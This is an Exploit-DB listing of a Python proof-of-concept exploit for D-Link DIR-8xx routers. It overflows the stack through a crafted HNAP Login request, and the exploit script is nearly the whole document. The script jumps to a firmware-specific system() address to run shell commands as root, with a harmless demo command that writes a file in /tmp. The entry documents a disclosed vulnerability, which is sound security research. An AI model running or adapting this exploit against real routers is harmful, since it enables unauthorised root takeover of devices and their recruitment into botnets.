D-Link DIR-8xx Routers – Root Remote Code Execution

  • 作者: embedi
    日期: 2017-09-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42730/
  • # Due to error in hnap protocol implementation we can overflow stack and execute any sh commands under root priviliges.
    # E-DB Note: https://embedi.com/blog/enlarge-your-botnet-top-d-link-routers-dir8xx-d-link-routers-cruisin-bruisin
    # E-DB Note: https://github.com/embedi/DIR8xx_PoC/blob/b0609957692f71da48fd7de28be0516b589187c3/hnap.py
    
    import requests as rq
    import struct
    
    IP = "192.168.0.1"
    PORT = "80"
    # Can differ in different version of routers and versions of firmware
    # SYSTEM_ADDRESS = 0x1B570 # DIR-890L_REVA_FIRMWARE_PATCH_v1.11B02.BETA01
    SYSTEM_ADDRESS = 0x1B50C	# DIR-890L_REVA_FIRMWARE_1.10.B07 
    
    def _str(address):
    return struct.pack("<I", address) if address > 0 else struct.pack("<i", address)
    
    url = 'http://{ip}:{port}/HNAP1/'.format(ip=IP, port=PORT)
    
    headers_text = {
    'SOAPACTION' : 'http://purenetworks.com/HNAP1/Login',
    'CONTENT-TYPE' : 'text/html'
    }
    payload = b"echo 1 > /tmp/hacked;"
    
    print(rq.post(url, data=b"<Action>" + payload + b"A" * (0x400 - len(payload)) + _str(-1) + b"C" * 0x14 + _str(SYSTEM_ADDRESS)[0:3] + b"</Action>", headers=headers_text).text)